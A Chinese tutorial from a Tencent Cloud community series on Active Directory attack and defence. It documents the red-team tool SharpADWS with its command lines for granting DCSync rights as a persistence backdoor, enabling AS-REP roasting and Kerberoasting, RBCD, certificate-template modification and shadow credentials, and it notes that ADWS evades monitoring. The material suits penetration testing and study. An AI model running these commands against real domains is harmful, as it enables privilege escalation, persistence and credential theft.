# SharpADWS简介

SharpADWS 是一个为 Red Teams 打造的 Active Directory 侦查和利用工具，在安装 Active Directory Domain Services (ADDS) 后，Active Directory Web Services (ADWS) 将自动开启，因此 SharpADWS 在所有域环境中都可以使用，其通过 Active Directory Web Services (ADWS) 协议收集并修改 Active Directory 数据。SharpADWS可以在不直接与 LDAP 服务器通信的情况下提取或修改 Active Directory 数据。在 ADWS 下，LDAP 查询被包装在一系列 SOAP 消息中，然后使用 NET TCP Binding 加密信道将它们发送到 ADWS 服务器。随后，ADWS 服务器在其本地解包 LDAP 查询并将其转发到运行在同一域控制器上的 LDAP 服务器。

由于ADWS运行的是与LDAP完全不同的服务，使用TCP端口9389，并且通过SOAP协议作为其接口，因此不会被常见的监控设备进行监控。而且由于它是一个SOAP Web服务，实际的LDAP查询执行是在域控制器本地完成的，例如分析域控制器上的LDAP查询时，你可能会注意到查询源自127.0.0.1的日志，通常这不会被安全人员所发现，而且不会显示在 LDAPSearch 操作类型下的 DeviceEvents 中，因此可以被监控的数据相对较少。

利用SharpADWS，我们可以轻松实现如下操作：

- Enumerate：创建与指定的搜索查询过滤器相映射的上下文。
- Pull：在特定枚举的上下文中检索结果对象。
- Renew：更新指定枚举上下文的过期时间。
- GetStatus：获取指定枚举上下文的过期时间。
- Release：释放指定的枚举上下文。
- Delete：删除现有的对象。
- Get：从对象中检索一个或多个属性。
- Put：修改对象上的一个或多个属性的内容。
- Add：将指定的属性值添加到指定属性的值集中，如果目标对象上尚不存在该属性，则创建该属性。
- Replace：用操作中指定的值替换指定属性中的值集，如果目标对象上尚不存在该属性，则创建该属性。如果操作中没有指定值，则将删除当前指定属性上的所有值。
- Delete：从指定的属性中删除指定的属性值。如果没有指定值，则将删除所有值。如果目标对象上不存在指定的属性，则 PUT 请求失败。
- Create：创建一个新的对象

## 1. 帮助信息

通过执行 `-h` 参数即可查看SharpADWS的帮助信息，执行命令及结果如图1-1所示：

```bash
SharpADWS.exe -h
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/b6216a6c1ebece986e470a61e06b1231.png)

<center>图1-1 查看帮助信息</center>

## 2. 缓存

SharpADWS在枚举 ACL 时，为了不对每个未知的受托者对象执行额外的 ADWS 请求，需要提前通过 cache method 创建所有账户对象的完整缓存并将其保存到文件中，从而避免产生大量（不必要的）流量。该缓存包含当前域内每个账户对象名称与其 objectSid 的映射，执行命令及结果如图1-2所示：

```bash
SharpADWS.exe Cache
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/660c6131432384789716a1d5a2efbf8c.png)

<center>图1-2 创建完整缓存</center>

## 3. ACL

Acl method 能够枚举指定 -dn 的对象的 DACL，并且支持通过 -trustee、-right 和 -rid 参数对枚举出的 DACL 进行筛选，支持对象及含义如表1-1所示。

表1-1 ACK相关子命令含义


| SharpADWS.exe acl -user             | 枚举所有用户对象的DACL   |
| ----------------------------------- | ------------------------ |
| SharpADWS.exe acl -computer         | 枚举所有计算机对象的DACL |
| SharpADWS.exe acl -group            | 枚举所有组对象的DACL     |
| SharpADWS.exe acl -domain           | 枚举所有域对象的DACL     |
| SharpADWS.exe acl -domaincontroller | 枚举所有域管对象的DACL   |
| SharpADWS.exe acl -gpo              | 枚举所有组策略对象的DACL |

1） 枚举所有的 Domain Controller 对象，并筛选出受托者为 Domain Admins的 DACL，执行命令及结果如图1-3所示：

```bash
SharpADWS.exe acl -dn "OU=Domain Controllers,DC=klion,DC=local" -scope Subtree -trustee "Domain Admins"
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/dec9a738c80010433f56ffb078728f86.png)

<center>图1-3 枚举域控对象</center>

2） 枚举所有的 User 对象，并筛选出权限为 GenericAll，受托者的 RID 大于 1000 的 DACL，执行命令及结果如图1-4所示：

```bash
SharpADWS.exe acl -dn "CN=Users,DC=klion,DC=local" -scope Subtree -right GenericAll -rid 1000
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/0f07055e3cbe457f8156178c6792a15b.png)

<center>图1-4 枚举所有User对象并添加筛选条件</center>

## 4. DCSync

1） 查询Dcsync权限账户

DCSync 模式的 list 能够查询出所有被授予了 DS-Replication-Get-Changes、DS-Replication-Get-Changes-All 和 DS-Replication-Get-Changes-In-Filtered-Set 权限的账户，执行命令及结果如图1-5所示：

```bash
SharpADWS.exe DCSync -action list
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/9fd76ec7a57e058f602df4e765e173c4.png)

<center>图1-5 通过list模块进行权限筛选</center>

2）对账户授予 DCSync 权限

在拥有足够权限的情况下，我们可以通过 write 为某个账户授予 DCSync 权限，以建立域持久性后门，执行命令及结果如图1-6所示：

```bash
SharpADWS.exe DCSync -action write -target <username>
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/d7758d8d30a1e44ac5751cb2bf95582a.png)

<center>图1-6 对账户授予DCSync权限</center>

## 5. DontReqPreAuth

1） 查询不需要kerberos预身份验证的账户

DontReqPreAuth method 的 list 能够查找出所有设置了 "Do not require kerberos preauthentication" 选项的账户，执行命令及结果如图1-7所示：

```bash
SharpADWS.exe DontReqPreAuth -action list
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/858e697c6f6cbed492a71edd75108d4a.png)

<center>图1-7 查询不需要kerberos预认证账户</center>

2） 为账户开启不需要kerberos预身份验证

我们可以滥用对目标账户 userAccountControl 属性的 WriteProperty 权限，通过 write 为该账户启用 "Do not require kerberos preauthentication" 选项，以执行 AS-REP Roasting 攻击，执行命令以及结果如图1-8所示：

```bash
SharpADWS.exe DontReqPreAuth -action write -target Administrator
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/26780d1a2cdf4c709b151b2bd2930f3a.png)

<center>图1-8 为账户开启无需kerberos预身份认证</center>

## 6. Kerberoastable

1） 查找所有设置了 SPN 的账户

Kerberoastable method 的 list 能够查找出所有设置了 SPN 的账户，执行命令及结果如图1-9所示：

```bash
SharpADWS.exe Kerberoastable -action list
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/7ab06ff3a5d12e446194db502ae4ffaf.png)

<center>图1-9 查找设置SPN账户</center>

2） 对用户账户添加SPN

我们可以滥用对目标账户 servicePrincipalName 属性的 WriteProperty 权限，通过 write 为该账户（仅限于用户账户）添加一个 SPN，以执行 Kerberoasting 攻击，执行命令及结果如图1-10所示：

```bash
SharpADWS.exe Kerberoastable -action write -target Administrator
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/538ad7956d2372031d5964702df41b6d.png)

<center>图1-10 对账户添加SPN</center>

## 7. AddComputer

AddComputer method 可以让我们在 ms-DS-MachineAccountQuota 属性值限制的范围内创建一个新的计算机账户，该机器账户可用于后续的 RBCD 攻击中使用，执行命令及结果如图1-11所示：

```bash
SharpADWS.exe AddComputer -computer-name <name> -computer-pass <password>
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/58633af9c67a8f60db2c22272176bc42.png)

<center>图1-11 创建机器用户</center>

## 8. RBCD

1） 查询资源约束委派

RBCD method 的 read 能够读取指定账户对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值，以检查谁有权限对该账户进行资源约束委派，执行命令及结果如图1-12所示：

```bash
SharpADWS.exe RBCD -action read -target <target>
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/5ee5c4fa86fb50f6ac566aa81746dd15.png)

<center>图1-12 查询具有资源约束委派权限账户</center>

2） 设置资源约束委派

RBCD method 的 write 能够写入目标账户对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，以进行 Resource-Based Constrained Delegation 攻击。如下所示，我们首先用 AddComputer method 创建了一个新的机器账户 PENTEST\$，然后我们可以执行以下命令，将 PENTEST\$ 的 SID 写入 DC01\$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中，执行命令及结果如图1-13所示：

```bash
SharpADWS.exe RBCD -action write -target DC01$ -sid <PENTEST$_SID>
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/533bffdbc926ec84cf9561eba94f879f.png)

<center>图1-13 设置资源约束委派</center>

3） 移除资源约束委派

通过 remove 可以将 write 中添加的 SID 从目标对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中移除，执行命令及结果如图1-14所示：

```bash
SharpADWS.exe RBCD -action remove -target <target>
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/1d367694255a25d958a822eeba6af7db.png)

<center>图1-14 移除资源约束委派</center>

## 9. Certify

1） 枚举ADCS

Certify method 的 find 能够像 Certify 一样枚举 ADCS 中的数据，包括所有的证书颁发机构和证书模版，执行命令及结果如图1-15所示：

```bash
SharpADWS.exe Certify -action find
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/3295508b726fbf35664d75021f1729b6.png)

<center>图1-15 枚举ADCS</center>

此外， find 支持 `-enrolleeSuppliesSubject` 和 `-clientAuth` 选项，能够筛选出所有开启了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志和支持 Client Authentication 的证书模版，执行命令及结果如图1-16所示：

```bash
SharpADWS.exe Certify -action find -enrolleeSuppliesSubject -clientAuth
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/1004abbe662ef707ac03d531f4dcace0.png)

<center>图1-16 筛选相应证书模板</center>

2） 修改证书模板

Certify method 的 modify 允许我们在拥有对目标模版的写入权限下，修改证书模版的属性，例如开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志或启用 Client Authentication，执行命令及结果如图1-17所示：

```bash
SharpADWS.exe Certify -action modify -template <template_name> -enrolleeSuppliesSubject
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/8a57422b4915a23217f01eefaa9bfd8d.png)

<center>图1-17 修改证书模板属性</center>

## 10. Whisker

1） 查询目标账户的msDS-KeyCredentialLink 属性

Whisker method 的 list 能够列出目标账户对象的 msDS-KeyCredentialLink 属性值，执行命令及结果如图1-18所示：

```bash
SharpADWS.exe Whisker -action list -target <target>
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/ab8448e714d8717baf59e6cdff6182bf.png)

<center>图1-18 列出目标账户对象属性值</center>

2） 添加目标账户的msDS-KeyCredentialLink属性值

Whisker method 的 add 允许我们在拥有写入权限的情况下，为目标账户的 msDS-KeyCredentialLink 属性添加一个 Key，以执行 ShadowCredentials 攻击，执行命令及结果如图1-19所示：

```bash
SharpADWS.exe Whisker -action add -target <target>
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/bfaeff4ef9c0863aa85f56b1ab918e53.png)

<center>图1-19 添加目标账户属性值</center>

3） 移除目标账户的msDS-KeyCredentialLink属性值

通过 remove，我们可以提供 `-device-id` 将指定的 Key 从目标对象的 msDS-KeyCredentialLink 属性中移除，执行命令及结果如图1-20所示：

```bash
SharpADWS.exe Whisker -action remove -target <target> -device-id <device_id>
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/9daa844cd39909556a0fe74edf08fd99.png)

<center>图1-20 移除目标账户属性值</center>

## 11. FindDelegation

FindDelegation method 能够枚举出当前域内所有的委派关系，执行命令及结果如图1-21所示：

```bash
SharpADWS.exe FindDelegation
```

![](https://developer.qcloudimg.com/http-save/yehe-1277458/cf7e25757c4236076620376487d29e5b.png)

<center>图1-21 枚举域内所有委派关系</center>


SharpADWS简介SharpADWS是一个为RedTeams打造的ActiveDirectory侦查和利用工具，在安装ActiveDirectoryDomainServices(ADDS)后，ActiveDirectoryWebServices(ADWS)将自动开启，因此SharpADWS在所有域环境中都可以使用，其通过ActiveDirectoryWebServices(ADWS)协议收集并

AD域攻防权威指南:三十四.域分析之SharpADWS

技术经理

后端

安全

网络与通信

SharpADWS是一款专业的ActiveDirectory侦查工具，通过ADWS协议高效收集和修改AD数据，支持DCSync、Kerberoasting等攻击手法，可绕过传统监控设备检测，是红队评估域安全性的利器。

身份验证

服务器

4核4G3M云服务器 新用户低至38元/年！

人脸核身+人脸识别特惠活动0.6折起


faceid

文章

问答

视频

教程

学习中心

腾讯云实验室

直播

竞赛

腾讯云代码分析专区

腾讯iOA零信任安全管理系统专区

腾讯云架构师技术同盟交流圈

腾讯云数据库专区

腾讯云智能顾问专区

腾讯云原生专区

腾讯混元专区

腾讯云TCE专区

腾讯云Lighthouse专区

腾讯云HAI专区

腾讯云Edgeone专区

腾讯云存储专区

腾讯云智能专区

腾讯轻联专区 

腾讯云开发专区

TAPD专区

腾讯轻量云游戏服专区

腾讯云最具价值专家

腾讯云架构师技术同盟

腾讯云创作之星

腾讯云开发者先锋

腾讯云代码助手

云原生构建

TAPD 敏捷项目管理

Cloud Studio

SDK中心

API中心

命令行工具

涵盖代码开发、场景应用、自动测试全流程，助你从零构建专属AI助手

一站式MCP教程库，解锁AI应用新玩法

聚焦“写作效率、视觉美观与运行性能”三方面进行全面升级，为您提供更高效、稳定的创作环境

社区富文本&Markdown编辑器全新改版上线，欢迎大家体验!

诚挚邀请您参与本次调研，分享您的真实使用感受与建议。您的反馈至关重要，感谢您的支持与参与！

社区新版编辑器体验调研

AD域攻防权威指南:三十四.域分析之SharpADWS-腾讯云开发者社区-腾讯云

AD域攻防权威指南:三十四.域分析之SharpADWS

AD域攻防权威指南:三十四.域分析之SharpADWS

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐